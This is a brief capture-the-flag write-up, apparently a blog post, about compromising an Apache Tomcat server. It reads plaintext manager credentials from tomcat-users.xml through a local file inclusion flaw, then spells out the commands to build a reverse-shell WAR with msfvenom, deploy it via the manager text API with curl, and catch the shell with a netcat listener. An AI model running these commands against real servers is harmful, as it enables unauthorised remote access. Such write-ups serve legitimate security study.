Apache Tomcat. You hate to see it. If you’re a pentester, a hobby hacker, or for some reason you just like java, chances are you’ve come across a Tomcat server once or twice. While recently working on another CTF box, I stumbled upon another Tomcat instance and had to ask myself: Oh god, what have they mis-configured this time?
Getting a tomcat manager user
If you can get authenticated access to the tomcat manager, you’ll be able to upload a malicious WAR file leading to a reverse shell. Sometimes you’ll get lucky and find default credentials, other times, you’ll have to work for it.
In this case, the target server was running apache httpd alongside tomcat. The site being hosted was susceptible to local file inclusion (LFI). Reading the Tomcat docs (http://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html) we can find that tomcat manager uses credentials stored in plaintext at “$CATALINA_BASE/conf/tomcat-users.xml”. Using this knowledge and making use of the LFI vulnerability mentioned, user credentials were found.
Using manager-script role
Since our tomcat user only has the manager-script role, and not the usual manager-gui role, we can use only use the tomcat /manager/text/… scripting api. But first, we’ll need a reverse shell inside of a WAR file. Msfvenom will get the job done:
msfvenom -p java/shell_reverse_tcp lhost=x.x.x.x lport=xxxx -f war -o pwn.war
Then upload the WAR file:
curl -v -u tomcat:$pass — upload-file pwn.war “http://x.x.x.x:8080/manager/text/deploy?path=/foo&update=true"
Then start your netcat listener:
nc -lvp xxxx
And finally, profit:
curl https://x.x.x.x.:8080/foo
